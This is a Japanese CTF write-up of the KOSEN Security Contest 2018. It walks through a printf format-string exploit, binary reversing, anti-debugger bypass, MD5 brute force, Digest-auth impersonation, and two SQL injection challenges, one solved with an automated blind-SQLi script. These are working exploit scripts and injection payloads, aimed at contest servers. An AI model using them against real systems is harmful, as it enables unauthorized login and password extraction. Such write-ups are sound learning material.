KOSEN セキュリティコンテスト 2018( #kosensc ) に参加したおはなし

はじめに

KOSENセキュリティコンテスト2018にJAJAとして参加しました。
今年でkosenscは3回目ですが、今年が一番手応えがあったかなと思います。 結果として、JAJAは2位で終わることができました。

今回は、競技期間中に僕が解けた問題について備忘録程度のWriteupを書きます。 また、Writeupにて、出力や入力が極端に長い場合、...として省略させていただきます。

f:id:ush1ken:20180903005354p:plain

目次

03 printf (Binary 100)

[問題内容] フラグを読み出せ! ゲームへの接続方法: nc [hostname] [port] 例: nc 27.133.152.42 80

メンバーの一人がほぼ解けていたが、最後に助太刀した問題。 普通にアクセスして、何か打ち込むと以下のようにthe secretの格納アドレスが得られる。

$ nc 27.133.152.42 80
the secret is in 0xff84a9de
what do you want: A
there is no A

printfというタイトルから書式指定文字列攻撃を利用する、ということがわかるらしい。 ということで、下記のような入力を与えると、スタックのデータが覗ける。

$ python -c "print('AAAA'+' %p'*20)" | nc 27.133.152.42 80
the secret is in 0xff930d2e
what do you want: there is no AAAA 0x100 0xf7fae5c0 (nil) (nil) (nil) (nil) 0x43530000 0x45534f4b 0x73757b4e 0x72705f65 0x66746e69 0x726f635f 0x74636572 0x7d796c 0x41414141 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025

4バイト×15個先に入力したAAAA(0x41414141)があるので、そこにthe secretの格納アドレスをうまく入れて、そこをさらに参照できれば、フラグが得られる。 メンバーからpayload(格納アドレス%15$s)をもらったので、そのままpwntoolsで投げる。

from pwn import *

conn = remote("27.133.152.42", 80)
str = conn.recvline()
pay = p32(int(str[-11:-1], 16))+"%15$s"
conn.sendline(pay)
print(conn.recvline())
# python printf.py 
[+] Opening connection to 27.133.152.42 on port 80: Done
what do you want: there is no \x0e<\x8a\xffSCKOSEN{use_printf_correctly}

[*] Closed connection to 27.133.152.42 port 80

Flag: SCKOSEN{use_printf_correctly}

04 XOR,XOR (Binary 200)

[問題内容] アセンブリを読んでフラグを入手しろ!

asmreadingという実行ファイルが与えられる。 普通に実行しても何も起きないので、解析する。

$ file asmreading 
asmreading: ELF 32-bit LSB pie executable Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=255dacefca5f60eeb7fca2ac73852c27c1e8070f, not stripped
$ ./asmreading

アセンブリをまじまじと読みたくはないので、とりあえずradare2

$ r2 -d asmreading 
[0xf77b9250]> aaa
[0xf77b9250]> afl
...
0x565b0549    1 4            sym.__x86.get_pc_thunk.dx
0x565b054d    4 83           sym.xor_func
0x565b05a0    3 336          sym.main
0x565b06f0    1 4            sym.__x86.get_pc_thunk.ax
...
[0xf77b9250]> s sym.main
[0x565b05a0]> VV
[0x565b05a0]> VV @ sym.main (nodes 3 edges 2 zoom 100%) BB-SUMM mouse:canvas-y movements-speed:5                                           

                      .-------------------------------------------.
                      | [0x565b05a0] ;[gd]                        |
                      | 0x565b05b1 call sym.__x86.get_pc_thunk.ax |
                      | 0x565b06ca call sym.xor_func              |
                      `-------------------------------------------'
                              | |
                              | '-------------------------.
          .-------------------'                           |
          |                                               |
          |                                               |
   --------------------------------------------.    .--------------------.
  |  0x565b06e3 ;[gf]                          |    |  0x565b06e8 ;[gc]  |
  | 0x565b06e3 call sym.__stack_chk_fail_local |    `--------------------'
  `--------------------------------------------'

上記の図だとかなり省略しているが、call命令の間にたくさんmov命令でxor_funcの引数らしきものを用意しているので、きっとxor_funcでそれをxorするとフラグがでてくるのだろうと、予測がつく。 ただし、やはりアセンブリを読むのはめんどくさいので、そのままデバッガでブレークポイントを仕掛けて、xor_funcの返り値を見てみる。 (ここではradare2の動的解析には慣れてないのでgdbをつかう)

はじめに、xor_funcの返り値を見るために、xor_funcブレークポイントを仕掛けて、xor_funcを実行する。

$ gdb -q asmreading
Reading symbols from asmreading...(no debugging symbols found)...done.
(gdb) b xor_func
Breakpoint 1 at 0x551
(gdb) run
Starting program: /root/workspace/ctf/kosensc2018/Binary_200/asmreading 

Breakpoint 1, 0x56555551 in xor_func ()
(gdb) n
Single stepping until exit from function xor_func,
which has no line number information.
0x565556cf in main ()
(gdb) layout asm
   ┌──────────────────────────────────────────────────────┐
   │0x565556ba <main+282>   movb   $0x14,-0xd(%ebp)       │
   │0x565556be <main+286>   lea    -0x69(%ebp),%eax       │
   │0x565556c1 <main+289>   push   %eax                   │
   │0x565556c2 <main+290>   lea    -0x2b(%ebp),%eax       │
   │0x565556c5 <main+293>   push   %eax                   │
   │0x565556c6 <main+294>   lea    -0x4a(%ebp),%eax       │
   │0x565556c9 <main+297>   push   %eax                   │
   │0x565556ca <main+298>   call   0x5655554d <xor_func>  │
  >│0x565556cf <main+303>   add    $0xc,%esp              │
   │0x565556d2 <main+306>   mov    $0x0,%eax              │
   └──────────────────────────────────────────────────────┘
native process 2192 In: main          L??   PC: 0x565556cf 

ここで、xor_funcにスタックで渡している引数3つ(第1引数:-0x4a(%ebp),第2引数:-0x2b,第3引数:-0x69)でどんな値を渡しているか見てみる。

(gdb) x/s $ebp-0x4a
0xffffd57e:     "y8NArwYj>XJgIme3RQhh_M<vo1Z]jXi*{\005\016!2\027\021G7?8*\f\vl 4\t\f"
(gdb) x/s$ebp-0x2b
0xffffd59d:     "*{\005\016!2\027\021G7?8*\f\vl 4\t\f"
(gdb) x/s $ebp-0x69
0xffffd55f:     "SCKOSEN{you_can_read_assembly!}y8NArwYj>XJgIme3RQhh_M<vo1Z]jXi*{\005\016!2\027\021G7?8*\f\vl 4\t\f"

すると、あらふしぎ。フラグがでてきてしまった。 ちなみに、これらの引数は、第1引数と第2引数には、xorを取るための文字列のポインタが格納されていて、第3引数にxorを取ったあとの文字列のポインタが格納されていると考えられる。

(gdb) x/31b $ebp-0x4a
0xffffd57e:     0x79    0x38    0x4e    0x41    0x72    0x77    0x59    0x6a
0xffffd586:     0x3e    0x58    0x4a    0x67    0x49    0x6d    0x65    0x33
0xffffd58e:     0x52    0x51    0x68    0x68    0x5f    0x4d    0x3c    0x76
0xffffd596:     0x6f    0x31    0x5a    0x5d    0x6a    0x58    0x69
(gdb) x/31b $ebp-0x2b
0xffffd59d:     0x2a    0x7b    0x05    0x0e    0x21    0x32    0x17    0x11
0xffffd5a5:     0x47    0x37    0x3f    0x38    0x2a    0x0c    0x0b    0x6c
0xffffd5ad:     0x20    0x34    0x09    0x0c    0x00    0x2c    0x4f    0x05
0xffffd5b5:     0x0a    0x5c    0x38    0x31    0x13    0x79    0x14

ということで、下記のスクリプトでこれらの値同士でxorを取ると、同様にフラグが得られる。

$ cat solve.py 
first = [0x79, 0x38, 0x4e, 0x41, 0x72, 0x77, 0x59, 0x6a,0x3e, 0x58, 0x4a, 0x67, 0x49, 0x6d, 0x65, 0x33,0x52, 0x51, 0x68, 0x68, 0x5f, 0x4d, 0x3c, 0x76,0x6f, 0x31, 0x5a, 0x5d, 0x6a, 0x58, 0x69]
second = [0x2a, 0x7b, 0x05, 0x0e, 0x21, 0x32, 0x17, 0x11,0x47, 0x37, 0x3f, 0x38, 0x2a, 0x0c, 0x0b, 0x6c,0x20, 0x34, 0x09, 0x0c, 0x00, 0x2c, 0x4f, 0x05,0x0a, 0x5c, 0x38, 0x31, 0x13, 0x79, 0x14]
print("".join([chr(f^s) for f,s in zip(first, second)]))
$ python solve.py 
SCKOSEN{you_can_read_assembly!}

Flag:SCKOSEN{you_can_read_assembly!}

05 Simple anti debugger (Binary 250)

[問題内容] gdbにアタッチしてみたが動かない。 どうやって解析しようか。

simple_anti_debuggerというファイルが与えられる。

$ file simple_anti_debugger 
simple_anti_debugger: ELF 32-bit LSB pie executable Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4f93e375d47f12cba399fa47c23bd59dc32bcde7, not stripped
$ ./simple_anti_debugger 
You don't seem to be using debugger :)
input your password: A
wrong password :(

どうやらアンチデバッグの機能があり、有効なパスワードを入れるとフラグが得られるようだ。 とりあえずXOR,XORと同様に、アセンブリはあまり読みたくないので、まずはradare2で解析。

$ r2 -d simple_anti_debugger
[0xf778b250]> aaa
[0xf778b250]> afl
...
0x56571689    1 4            sym.__x86.get_pc_thunk.dx
0x5657168d    4 82           sym.decode
0x565716df    7 103          sym.is_correct_password
0x56571746    3 73           sym.detect_debugger
0x5657178f    6 242          main
0x56571890    4 93           sym.__libc_csu_init
...
[0xf778b250]> s main
[0x5657178f]> VV
[0x5657178f]> VV @ main (nodes 6 edges 6 zoom 100%) BB-SUMM mouse:canvas-y movements-speed:5                                                                                             


                    .-------------------------------------------.
                    | [0x5657178f] ;[gg]                        |
                    | 0x565717a1 call sym.__x86.get_pc_thunk.bx |
                    | 0x565717c9 call sym.imp.puts              |
                    | 0x565717db call sym.imp.printf            |
                    | 0x565717f5 call sym.imp.fgets             |
                    | 0x56571804 call sym.is_correct_password   |
                    `-------------------------------------------'
                            | |
                            | '--------------------.
               .------------'                      |
               |                                   |
               |                                   |
       .---------------------------------.   .------------------------------.
       |  0x56571810 ;[gj]               |   |  0x5657184f ;[gf]            |
       | 0x5657181a call sym.decode      |   | 0x56571859 call sym.imp.puts |
       | 0x5657182c call sym.imp.puts    |   `------------------------------'
       | 0x56571845 call sym.imp.printf  |       |
       `---------------------------------'       |
           |                                     |
           '-----------------------.             |
                                   .-------------'
                                   |
                                   |
                               .--------------------.
                               |  0x56571861 ;[gi]  |
                               `--------------------'
                                       | |
                                       | '--------------.
        .------------------------------'                |
        |                                               |
        |                                               |
.--------------------------------------------.    .--------------------.
|  0x56571872 ;[gm]                          |    |  0x56571877 ;[gk]  |
| 0x56571872 call sym.__stack_chk_fail_local |    `--------------------'
`--------------------------------------------'

関数一覧を見ると、いくつかの主要な関数が見つかり、おそらくエンコードされているフラグをデコードするdecode、アンチデバッグの機能を持つであろうdetect_debuggerなども見つかった。 しかしmainではdetect_debuggerは呼ばれていなかった。 mainの処理を見てみると、0x565717f5で文字列を受け取り、is_correct_passwordを呼び出し、その結果次第で、処理が変わっているようにみえる。

以上のことを踏まえて、detect_debuggeris_correct_passwordブレークポイントを仕掛けてgdbデバッグしてみる。

$ gdb -q ./simple_anti_debugger
Reading symbols from ./simple_anti_debugger...(no debugging symbols found)...done.
(gdb) b is_correct_password
Breakpoint 1 at 0x6e3
(gdb) b detect_debugger
Breakpoint 2 at 0x5655574a
(gdb) run
Starting program: /root/workspace/ctf/kosensc2018/Binary_250/simple_anti_debugger 

Breakpoint 2, 0x5655574a in detect_debugger ()
(gdb) layout asm
   ┌──────────────────────────────────────────────────────────────────────────┐
B+>│0x5655574a <detect_debugger+4>  sub    $0x4,%esp                          │
   │0x5655574d <detect_debugger+7>  call   0x56555590 <__x86.get_pc_thunk.bx> │
   │0x56555752 <detect_debugger+12> add    $0x186a,%ebx                       │
   │0x56555758 <detect_debugger+18> push   $0x0                               │
   │0x5655575a <detect_debugger+20> push   $0x1                               │
   │0x5655575c <detect_debugger+22> push   $0x0                               │
   │0x5655575e <detect_debugger+24> push   $0x0                               │
   │0x56555760 <detect_debugger+26> call   0x56555530 <ptrace@plt>            │
   │0x56555765 <detect_debugger+31> add    $0x10,%esp                         │
   │0x56555768 <detect_debugger+34> cmp    $0xffffffff,%eax                   │
   │0x5655576b <detect_debugger+37> jne    0x56555789 <detect_debugger+67>    │
   │0x5655576d <detect_debugger+39> sub    $0xc,%esp                          │
   │0x56555770 <detect_debugger+42> lea    -0x168c(%ebx),%eax                 │
   │0x56555776 <detect_debugger+48> push   %eax                               │
   │0x56555777 <detect_debugger+49> call   0x565554f0 <puts@plt>              │
   │0x5655577c <detect_debugger+54> add    $0x10,%esp                         │
   │0x5655577f <detect_debugger+57> sub    $0xc,%esp                          │
   │0x56555782 <detect_debugger+60> push   $0x1                               │
   │0x56555784 <detect_debugger+62> call   0x56555500 <exit@plt>              │
   │0x56555789 <detect_debugger+67> nop                                       │
   │0x5655578a <detect_debugger+68> mov    -0x4(%ebp),%ebx                    │
   │0x5655578d <detect_debugger+71> leave                                     │
   │0x5655578e <detect_debugger+72> ret                                       │
   └──────────────────────────────────────────────────────────────────────────┘
native process 2340 In: detect_debugger                   L??   PC: 0x5655574a 

どうやら0x56555768%eax$0xffffffff(-1)と一致してしまうと、exitしてしまうことがわかった。

(gdb) b *0x56555768
Breakpoint 3 at 0x56555768
(gdb) c
Continuing.

Breakpoint 3, 0x56555768 in detect_debugger ()
(gdb) p/x $eax
$1 = 0xffffffff
(gdb) set $eax = 0
(gdb) p/x $eax
$2 = 0x0
(gdb) c
Continuing.
You don't seem to be using debugger :)
input your password: A
Breakpoint 1, 0x565556e3 in is_correct_password ()

そこで、0x56555768ブレークポイントを仕掛けて、処理を進める。 そして、ブレークポイント地点で、%eaxレジスタの値を変えて、アンチデバッグを回避し、さらに処理を進める。 アンチデバッグを回避でき、処理を進めると、passwordの入力画面になる。 適当な値を入力すると、次はis_correct_passwordブレークポイントで処理が停止する。

   │0x5655572c <is_correct_password+77>     cmpl   $0xa5,-0x10(%ebp)                                                           │
   │0x56555733 <is_correct_password+84>     jne    0x5655573c <is_correct_password+93>                                         │
   │0x56555735 <is_correct_password+86>     mov    $0x1,%eax                                                                   │
   │0x5655573a <is_correct_password+91>     jmp    0x56555741 <is_correct_password+98>                                         │
   │0x5655573c <is_correct_password+93>     mov    $0x0,%eax                                                                   │
   │0x56555741 <is_correct_password+98>     mov    -0x4(%ebp),%ebx                                                             │
   │0x56555744 <is_correct_password+101>    leave                                                                              │
   │0x56555745 <is_correct_password+102>    ret                                                                                │

ここで、is_correct_passwordの分岐処理をよく見てみると、どうやら-0x10(%ebp)の値が$0xa5でなければ、%eaxには0が、$0xa5であれば$eaxには1という値が入るということがわかった。

   │0x56555804 <main+117>   call   0x565556df <is_correct_password>                                                            │
   │0x56555809 <main+122>   add    $0x10,%esp                                                                                  │
   │0x5655580c <main+125>   test   %eax,%eax                                                                                   │
   │0x5655580e <main+127>   je     0x5655584f <main+192>                                                                       │
   │0x56555810 <main+129>   sub    $0xc,%esp                                                                                   │
   │0x56555813 <main+132>   lea    0x4c(%ebx),%eax                                                                             │
   │0x56555819 <main+138>   push   %eax                                                                                        │
   │0x5655581a <main+139>   call   0x5655568d <decode>                                                                         │

mainの処理も見てみると、フラグをデコードしてくれるdecodeを飛ばさないためには、%eax1である必要があるということがわかった。

(gdb) b *0x5655580c
Breakpoint 4 at 0x5655580c
(gdb) c
Continuing.

Breakpoint 4, 0x5655580c in main ()
(gdb) set $eax = 1
(gdb) c
Continuing.
correct password!
flag is SCKOSEN{I_like_debugger}
[Inferior 1 (process 2340) exited normally]

最後に、0x5655572cブレークポイントをしかけて、そこまで処理を進め、%eax1を代入、そして処理を最後まで進めることで、フラグが得られた。

Flag: SCKOSEN{I_like_debugger}

06 exchangeable if (Crypto 100)

[問題内容] 画像を見つけた。フラグを取り出せ!

f:id:ush1ken:20180902185634j:plain

out.jpegという画像が与えられる。 ひとまず、調査。

$ file out.jpg 
out.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5, description=md5=2009d1c114ed83f57cf8adde69fd6ca8, xresolution=112, yresolution=120, resolutionunit=1], baseline, precision 8, 500x500, frames 3
$ exiftool out.jpg 
ExifTool Version Number         : 10.32
File Name                       : out.jpg
Directory                       : .
File Size                       : 10 kB
File Modification Date/Time     : 2018:09:02 18:54:57+09:00
File Access Date/Time           : 2018:09:02 18:57:27+09:00
File Inode Change Date/Time     : 2018:09:02 18:54:57+09:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
Image Description               : md5=2009d1c114ed83f57cf8adde69fd6ca8
X Resolution                    : 1
Y Resolution                    : 1
Resolution Unit                 : None
Y Cb Cr Positioning             : Centered
Image Width                     : 500
Image Height                    : 500
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 500x500
Megapixels                      : 0.250

exiftoolImage Descriptionに怪しいmd5=2009d1c114ed83f57cf8adde69fd6ca8があることがわかる。 はじめは、このout.jpegのファイルサイズを削ったら同じmd5ハッシュになるのかなぁ、などと考えていたが、チームメンバーが「フラグのハッシュなんじゃない?」と閃いてくれたので、あとはスクリプトを書くだけ。

import hashlib, sys
from itertools import product
from string import digits, ascii_uppercase, ascii_lowercase

if __name__ == '__main__':
 md5 = "2009d1c114ed83f57cf8adde69fd6ca8"
 x = ""
 before = "SCKOSEN{sHDtF1"
 after = "NLTIWp}"
 chars = digits + ascii_uppercase + ascii_lowercase
 i = 0
 for comb in product(chars, repeat=4):
  flag = before + "".join(comb) + after
  if md5 == hashlib.md5(flag.encode('utf-8')).hexdigest():
   print("\nOK:", flag)
   break
  else:
   sys.stdout.write("\r"+flag+"\t"+str(i))
  i += 1
$ time python bf.py 
SCKOSEN{sHDtF1qOLYNLTIWp}   12486648
OK: SCKOSEN{sHDtF1qOLZNLTIWp}

real    2m51.198s
user    1m56.965s
sys 0m20.551s

(数字10種類+大小英数字52種類)^4だと計算終わらないんじゃ無いかと思っていたが、意外といけた。

Flag: SCKOSEN{sHDtF1qOLZNLTIWp

11 ログインしてフラグを入手せよ。 (Network 150)

[問題内容] ヒント: 我々は秋葉原ラジオ会館上空に飛来したタイムマシンを用いて、未来の超高性能コンピュータを入手した。 そのコンピュータによると、MD5の値2b21424f30227ac8bc08c69216c30815のハッシュ化前の値は以下であるらしい。 c932836c1feff27841c03453e81d5b13:oX3Ar2V0BQA=34c6176e8e33d6da83cc500028b8f9c8de95b91d:00000001:OWEyZWEyNmZhNzAyYTUwMzM0MzRjYzMxZDljZGY2OTU=:auth:71998c64aea37ae77020c49c00f73fa8

digest.pcapというファイルが与えられる。 digest.pcapを開いて、httpでフィルターすると、以下のようになる。 f:id:ush1ken:20180902194121p:plain 問題とファイル名からして、ヒントとpcapファイルを使って、なりすましdigest認証をすればフラグが得られると予想できる。

digest認証では、最初のアクセス時にサーバーから401 Unauthorizedレスポンスと一緒にrealmnoncealgorithmqopなどの値が与えられる(このうちnonceのみ認証ごとに変化する)。 そして、クライアントはその情報に、usernameuricnoncencresponse(、Method)といった値を追加して、認証を行う。 この際、cnoncencはブラウザから与えられ、uriはアクセス先のuriである。 つまり、認証を行う際に必要なパラメータはusernameresponseである。 usernameは、WireSharkのHTTPリクエストを見てみると、はtanakaであるということがわかる。 また、responseという値は次のように計算される。

A1 = md5(username+':'+realm+':'+password)
A2 = md5(Method+':'+uri)
response = md5(A1+':'+nonce+':'+nc+':'+cnonce+':'+qop+':'+A2)

ここで、ヒントを見返してみると、2b21424f30227ac8bc08c69216c30815という値はresponse値であるということが予測できる。 さらにそのmd5ハッシュ化前の値から、A1の値がc932836c1feff27841c03453e81d5b13であるということがわかる。 A1という値は認証ごとに変わる値ではなく、また、usernamepasswordの情報が入っている。 つまり、このA1の値を使えばdigest認証をなりすましで通過できる。

あとは、このA1の値を使ってresponseを計算するスクリプトを使って、なりすませばフラグが得られる。

# -*- coding: utf-8 -*-
import hashlib, sys

def md5(s):
 return hashlib.md5(s.encode('utf-8')).hexdigest()

if __name__ == '__main__':
 argv = sys.argv
 nonce = argv[1]    # nonce
 cnonce = argv[2]   # cnonce

 username = "tanaka"
 realm = "Digest Auth"
 Method = "GET"
 uri = "/flag.txt"
 A2 = md5(Method+":"+uri)
 nc = "00000001"
 qop = "auth"
 A1 = "c932836c1feff27841c03453e81d5b13"

 res = md5(A1+":"+nonce+":"+nc+":"+cnonce+":"+qop+":"+A2)
 print("response=\""+res+"\"")
$ python auth.py Gh+DNeJ0BQA=cfa1b451b276606f5d76d67078c7b67175ebcbe2 4472a6b551127b86dc86c741971d5c26
response="c21a4ec23b01467b2cb0ad188dab4583"

f:id:ush1ken:20180902210802p:plain f:id:ush1ken:20180902210957p:plain

Flag: SCKOSEN{digest_auth_is_secure!}

14 アカウントを奪え (Web 300)

[問題内容] アカウントを奪ってしまおう。 フラグはSCKOSEN{keyword}の形で、keywordを探してほしい。

URLにアクセスすると、フォームがあり"kosenjoh"ユーザーでログインしてくださいとある。 いつものSQL(' or 1=1 --)を投げてあげると、ログインに成功し、次のようなソースコードが出力される。 f:id:ush1ken:20180902231129p:plain

フラグは、'kosenjoh' ユーザーのパスワードです。 
Hello, Hacker!!! 古戦場から逃げるな!!

<?php
    function h($ret)
    {
        return htmlspecialchars($ret, ENT_QUOTES, 'UTF-8');
    }
    if ($_SERVER['REQUEST_METHOD'] == "POST") {
        $userid = $_POST['userid'];
        $pass = $_POST['pass'];
        $check = false;

        if (strlen($userid) !== 0 and strlen($pass) !== 0) {
            $err = '';
            if ($userid !== '') {
                try {
                    $dbh = new PDO('sqlite:../database/user.db');
                    $result = $dbh->query("SELECT count(*) as count FROM user WHERE userid='$userid' AND pass='$pass'");
                    if ($result !== false) {
                        $result = $result->fetch(PDO::FETCH_ASSOC);
                        if ($result["count"] > 0) {
                            $check = true;
                        }
                    }
                } catch (Exception $e) {
                    //echo $e->getMessage();
                }
                if (!$check) {
                    $err = 'ログインに失敗しました.....XD';
                }
            }
        } else {
            $err = "UseridとPasswordを入力してください。";
        }
    } else {
        $userid = "";
        $pass = "";
        $err = "";
        $check = false;
    }
?>

ただし、フラグは問題文にある通り、kosenjohユーザーのパスワードなので、それを抜き出さなければいけない。 ここで、このWebサーバーのホスト名にもある通り、bsql(Blind SQL Injection)をして、情報を抜き出す。

今は、' or 1=1 --1=1の部分が今は必ずTrueになってログインに成功する。 そこで、その部分をある条件のもとでTrueになる、というふうに書き換えれば、bsqliで情報を抜き出すことができる。

具体的には、ソースコードからテーブル名、カラム名がわかっているので、' or length((select pass from user where id='kosenjoh')) < 30 --といったクエリを投げる。 ここで、(select pass from user where id='kosenjoh')、つまりkosenjohのパスワードの長さが30文字未満であれば、この条件はTrueとなり、ログインに成功する。 そうでなければ、ログインに失敗する。 これを使ってまず、kosenjohのパスワードの長さは24文字だということがわかった。

つぎに、' or hex(substr((select pass from user where userid='kosenjoh'), 1, 1)) < hex('a') --のようなクエリを投げる。 ここで、substr(pass, 1, 1)passの1文字目から1文字だけ取り出し、それをhex()アスキーコードに変換し、数値で比較する。 これを使うことで、1文字ずつフラグを割り出すことができた。

ちなみに、競技中は完全に手動で1文字ずつ割り出しており、かなり時間もかかった。 (その分、手動バイナリサーチの達人となった。) そこで、勉強もかねて、バイナリサーチを使ったBlind SQL Injectionのスクリプトを作成した。

import requests
from string import digits, ascii_uppercase, ascii_lowercase

url = "http://bsql.kosensc2018.tech"
s = requests.session()
chars = digits + ascii_uppercase + ascii_lowercase

def asm_params(i, f, c):
 sql = "' or hex(substr((select pass from user where userid='kosenjoh'), {}, 1)) {} hex('{}') --".format(i, f, c)
 params = {"userid": "kosenjoh", "pass": sql}
 return params

def bin_search(i, imin, imax):
 imid = int(round(imin + (imax - imin) / 2))
 if "Hacker" in s.post(url, data=asm_params(i, ">", chars[imid])).text:
  return bin_search(i, imid+1, imax)
 elif "Hacker" in s.post(url, data=asm_params(i, "<", chars[imid])).text:
  return bin_search(i, imin, imid-1)
 else:
  return imid

if __name__ == "__main__":
 flag = ""
 for i in range(1,25):
  flag += chars[bin_search(i, 0, 62)]
  print(flag)
$ python bsql.py 
s
sk
sku
skur
skura
skuraf
skurafj
skurafji
skurafjit
skurafjitm
skurafjitmi
skurafjitmiy
skurafjitmiym
skurafjitmiymt
skurafjitmiymto
skurafjitmiymtok
skurafjitmiymtoki
skurafjitmiymtokit
skurafjitmiymtokitm
skurafjitmiymtokitmr
skurafjitmiymtokitmrp
skurafjitmiymtokitmrpe
skurafjitmiymtokitmrpec
skurafjitmiymtokitmrpeco

Flag: SCKOSEN{skurafjitmiymtokitmrpeco}

15 47405b599e22969295ebed486d7343cb (Web 300)

[問題内容] Find the flag!

URLにアクセスすると、Find the flag.とあり、フォームが2つある。

f:id:ush1ken:20180902234250p:plain

上のフォームにいつものSQL(' or 1=1 --)を入れるとSearch Result:と出て、テーブル全体が抜き出せる。

f:id:ush1ken:20180902234255p:plain

このテーブルは83行あり、Valueアスキー変換すると下記のような文章が出てきた。

$ python
s = [83,111,114,114,121,46,46,46,32,58,60,10,84,104,105,115,32,118,97,108,117,101,115,32,97,114,101,110,39,116,32,102,108,97,103,46,46,46,10,10,72,105,110,116,58,10,84,104,105,115,32,102,108,97,103,32,105,115,32,116,104,101,32,115,111,109,101,111,110,101,39,115,32,112,97,115,115,119,111,114,100,46,10]
print("".join([chr(c) for c in s]))

Sorry... :<
This values aren't flag...

Hint:
This flag is the someone's password.

上のフォームはダミーであることがわかったので、つぎに下のフォームにいつものSQL(' or 1=1 --)を入れたところError: Multiple Result is NOT allowed!というエラーを吐かれた。 リザルトが複数あるのはダメだよ〜ということなのでLIMIT句をつかって、' or 1=1 limit 1 --としたところWelcome!と出力された。 ということで、ここでも前問と同じBlind SQL Injectionを使ってフラグを抜き出す。

前問と違うのは、ユーザー名がわからないことである。 そこで、' or (select count(*) from user) > 10 limit 1--というクエリを投げることで、まずユーザー数を探る。 しかし、SQLITE_ERROR: no such table: userというエラーが出力された。 テーブル名についてもbsqliしても良かったが、チームメンバーusersというテーブルを見つけてくれた。 そして、' or (select count(*) from users) = 6 limit 1--というクエリでWelcome!が表示されたので、ユーザー数は6人であることがわかった。

つぎに、1番上のユーザー名を探る。 しかし、' or length((select userid from users limit 1)) > 30 limit 1--というクエリを投げたところまたSQLITE_ERROR: no such column: useridというエラーが出力された。 カラム名についてもbsqliしても良かったが、これも運よくフォームのname属性と同じ、idというカラムがユーザー名に該当するということがわかった。 そして、' or length((select id from users limit 1)) = 5 limit 1--というクエリでWelcome!が表示されたので、1番目のユーザー名の文字数は5文字であることがわかった。 5文字ということがわかったので、' or hex(substr((select id from users limit 1), 1, 1)) > hex("a") limit 1--といったクエリで探った結果、1番目のユーザー名はAdminであることがわかった。

それっぽいユーザー名なのでひとまず、Adminというユーザーのパスワードを前問と同じ要領で探ると、フラグが出てきた。

ちなみに、この問題でも前問と同じスクリプトで試してみた。

$ time python bsql.py 
S
SC
SCK
SCKO
SCKOS
SCKOSE
SCKOSEN
SCKOSEN{
SCKOSEN{W
SCKOSEN{W2
SCKOSEN{W22
SCKOSEN{W22X
SCKOSEN{W22Xx
SCKOSEN{W22Xxn
SCKOSEN{W22Xxnq
SCKOSEN{W22Xxnq9
SCKOSEN{W22Xxnq9g
SCKOSEN{W22Xxnq9g8
SCKOSEN{W22Xxnq9g8r
SCKOSEN{W22Xxnq9g8rf
SCKOSEN{W22Xxnq9g8rfn
SCKOSEN{W22Xxnq9g8rfnE
SCKOSEN{W22Xxnq9g8rfnEH
SCKOSEN{W22Xxnq9g8rfnEHG
SCKOSEN{W22Xxnq9g8rfnEHGy
SCKOSEN{W22Xxnq9g8rfnEHGyD
SCKOSEN{W22Xxnq9g8rfnEHGyDJ
SCKOSEN{W22Xxnq9g8rfnEHGyDJ7
SCKOSEN{W22Xxnq9g8rfnEHGyDJ7A
SCKOSEN{W22Xxnq9g8rfnEHGyDJ7AJ
SCKOSEN{W22Xxnq9g8rfnEHGyDJ7AJ8
SCKOSEN{W22Xxnq9g8rfnEHGyDJ7AJ8t
SCKOSEN{W22Xxnq9g8rfnEHGyDJ7AJ8tF
SCKOSEN{W22Xxnq9g8rfnEHGyDJ7AJ8tFg
SCKOSEN{W22Xxnq9g8rfnEHGyDJ7AJ8tFg}
172

real    0m3.777s
user    0m1.397s
sys 0m0.361s

4秒未満で、試行回数172回で35文字の文字列の抽出に成功できた。

Flag: SCKOSEN{W22Xxnq9g8rfnEHGyDJ7AJ8tFg}

おわりに

今回は、いつもより多く問が解けたので、とても楽しかったし、とても勉強になりました。 競技時間はもう少し長めでもいいかなあとは思います。 競技終了後も問題サーバーにしばらくアクセスできるのはとてもいいと思います。 あと手動二分探索力が圧倒的につきました。 全完したかった。。!

運営、その他関係者の皆様、楽しく、とても勉強になる大会をありがとうございました。